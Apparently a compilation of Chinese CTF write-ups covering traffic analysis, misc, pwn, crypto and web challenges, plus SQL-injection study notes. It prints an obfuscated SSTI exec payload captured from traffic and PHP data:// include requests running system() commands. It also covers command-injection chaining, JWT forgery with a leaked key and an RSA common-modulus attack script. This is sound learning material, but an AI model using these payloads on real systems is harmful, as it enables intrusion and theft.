2025 国赛 WP
流量分析 1 应用过滤 http,找到最后一个 /admin/login 192.379662 /admin/login POST /admin/login HTTP/1.1 (application/x-www-form-urlencoded) HTML Form URL Encoded: application/x-www-form-urlencoded Form item: "username" = "admin" Form item: "password" = "zxcvbnm123" 2 找到攻击者发送 SSTI Payload 的请求 228.234055 /admin/preview POST /admin/preview HTTP/1.1 (application/x-www-form-urlencoded) HTML Form URL Encoded: application/x-www-form-urlencoded Form item: "preview_content" = "{{ config }}" Key: preview_content Value: {{ config }} 发现结果 SECRET_KEY: c6242af0-6891-4510-8432-e1cdf051f160 3 找到这一行 259.670311 /admin/preview POST /admin/preview HTTP/1.1 (application/x-www-form-urlencoded) {{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}} 把里面的 base64 转换一下 ...
2025 纳新赛 WriteUp
Misc Crossfire 用 010 Editor 打开发现是个 PNG,但是缺少文件头,补上后打开,发现这张图的大小不对,用随波逐流工具修复一下宽高,就能看到 flag 了。 basic 用 010 Editor 打开,发现上部分是 PNG,下部分是 ZIP,中间是一段 base64,转码过后发现是密码,用这个密码解压 ZIP 就能看到 flag 了。 Pwn Test your NetCat ls 一下,发现没有文件,ls -a 发现有文件,且有 flag,cat flag 发现是假 flag,只能看看 attachment 这个文件了,结果没权限,最后试了下 cat * 发现出现 flag 了。 Crypto RSA_Signin RSA 共模攻击,运行脚本: import math from functools import reduce def extended_gcd(a, b): """ 扩展欧几里得算法:求解 ax + by = gcd(a, b) 返回 (gcd, x, y) """ if a == 0: return (b, 0, 1) else: gcd, x, y = extended_gcd(b % a, a) return (gcd, y - (b // a) * x, x) def mod_inverse(a, mod): """ 计算a在mod下的逆元(要求a和mod互质) 利用扩展欧几里得算法实现 """ gcd, x, y = extended_gcd(a, mod) if gcd != 1: raise Exception('逆元不存在(a与mod不互质)') else: return x % mod def rsa_common_mod_attack(N, e1, c1, e2, c2): """ RSA共模攻击核心函数 输入:同一模数N、两组公钥(e1,e2)、两组密文(c1,c2) 输出:明文m(整数形式) """ # 步骤1:验证e1和e2互质(攻击前提) gcd_e, x, y = extended_gcd(e1, e2) if gcd_e != 1: raise Exception('e1和e2不互质,无法进行共模攻击') print(f"e1和e2互质(gcd={gcd_e}),满足攻击条件") print(f"贝祖等式系数:x={x}, y={y}(满足 e1*x + e2*y = 1)") # 步骤2:处理负系数(将负指数转换为正逆元) if x < 0: c1_inv = mod_inverse(c1, N) # c1^(-1) mod N x_abs = -x term1 = pow(c1_inv, x_abs, N) # c1^x mod N = (c1^(-1))^|x| mod N else: term1 = pow(c1, x, N) # 正指数直接计算 if y < 0: c2_inv = mod_inverse(c2, N) # c2^(-1) mod N y_abs = -y term2 = pow(c2_inv, y_abs, N) # c2^y mod N = (c2^(-1))^|y| mod N else: term2 = pow(c2, y, N) # 正指数直接计算 # 步骤3:计算明文 m = (term1 * term2) mod N m = (term1 * term2) % N return m def int_to_ascii(m): """ 将整数明文转换为ASCII字符串(处理CTF常见flag格式) """ # 整数转换为字节流(大端序) byte_data = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big') try: return byte_data.decode('ascii') except UnicodeDecodeError: return "明文非ASCII格式,返回整数形式:" + str(m) if __name__ == "__main__": # -------------------------- 已知参数(可直接替换为其他共模攻击场景)-------------------------- N = 162178605357818616394571566923155907889899677780239882906511996614607940884142045197452389471499799373787832649318837814454679970724845203557871078001956378966434166323827984964942729898095347038272003371167123553368531662277059263517900162297903110415768403265100411543878859321181606008503516896600638590699 e1 = 35422 c1 = 153249315480380808558746807096025628082875635601515291525075274335055878390662930254941118045696231628008256877302589689883059616503108946971165183674522403835250738176157466145855833767128209866527507862726083268576304163200171600023472544755768741118904892489037291247455823396160705615280802805803254323033 e2 = 1033 c2 = 5823189490163315770684717059899864988806118565674660089157163486577056500243194221873916232616081138765317598078910078375360361118674333149663483360677725162911935082290640547407140413703664960164356579153623498735889314476063673352676918268911309402784919521792079943937126634436658784515914270266106683548 # -------------------------- 执行攻击 -------------------------- print("开始RSA共模攻击...") try: # 执行攻击得到整数明文 m_int = rsa_common_mod_attack(N, e1, c1, e2, c2) # 转换为可读字符串 m_str = int_to_ascii(m_int) # 输出结果 print("\n" + "=" * 50) print("攻击成功!") print(f"整数明文:{m_int}") print(f"可读明文:{m_str}") print("="*50) except Exception as e: print(f"攻击失败:{str(e)}") Sign_in 出题人不喜欢 0,把 0 全部去掉,在网上搜“颜文字加密解密”发现了 AAencode,用这个解密即可拿到 flag。 ...
2025 PCTF WriteUp
Web EZPHP 爆破数字,为 114514,然后发送 POST 请求 http://challenge2.pctf.top:31855/?number=114514&action=include,filename=data://text/plain,<?php system('ls -a /'); ?>,看下 flag 在 2t9I0T6BaYFEZGqu 这个文件里,然后再发送一个 data://text/plain,<?php system('cat /2t9I0T6BaYFEZGqu'); ?> 即可拿到 flag。 Jwt_password_manager 打开 app.py,发现 SECRET_KEY 都给了,访问 jwt.io,找到 JWT Encoder,把 payload 改成 { 'username': 'admin' },把 SECRET_KEY 填进去,把得到的 token 写到 cookie 里面,即可以 admin 的身份登录并拿到 flag。 We_will_rockyou 在网上找 rockyou.txt,逐个爆破,用户名是 admin123,密码是 lovers(每次的密码都不一样),进入仪表盘后运行 ls 发现 flag.txt,由于这个命令检查只检查第一个命令,所以运行 ls ;cat flag.txt,发现 PCTF{flag_is_not_here},再看题目发现 flag 原来在 /flag,修改后重新运行命令拿到 flag。 php_with_md5 先通过弱比较,然后再碰撞通过强比较。 if(isset($_GET['begin'])=='admin') 只需 begin 存在即可。 if(!preg_match('/admin/i',$begin)) 只需 begin 不包含 admin 即可,因此输入 123。 ...
SQL 注入 - CTF Web 学习笔记
SQL 注入就是利用应用执行 SQL 语句注入非法内容从而执行恶意查询或增删改。 SQL 基本查询语句 从 users 表中查询 id 为 123 的数据: SELECT username, password FROM users where id = 123; UNION 用于合并两个或多个 SELECT 语句的结果 LIMIT 用于限制返回的记录数量 ORDER BY 对结果进行排序 -- 用于单行注释 /* */ 用于多行注释 SELECT username, password FROM users1 ORDER BY id UNION SELECT username, password FROM users2 LIMIT 10; -- 查询 注意:使用 UNION 的时候要注意两个表的列数量必须相同。 SQL 常用参数 user():当前数据库用户 database():当前数据库名 version():当前使用的数据库版本 @@datadir:数据库储存数据路径 concat():联合数据,用于联合两条数据结果,如 concat(username, 0x3a, password) group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来 concat_ws():用法类似 hex() 和 unhex():用于 hex 编码解码 ASCII():返回字符的 ASCII 码值 CHAR():把整数转换为对应的字符 load_file():以文本方式读取文件,在 Windows 中,路径设置为 \ select xxoo into outfile '路径':权限较高时可直接写文件 基本注入 注释掉后面的条件以直接绕过条件。 ...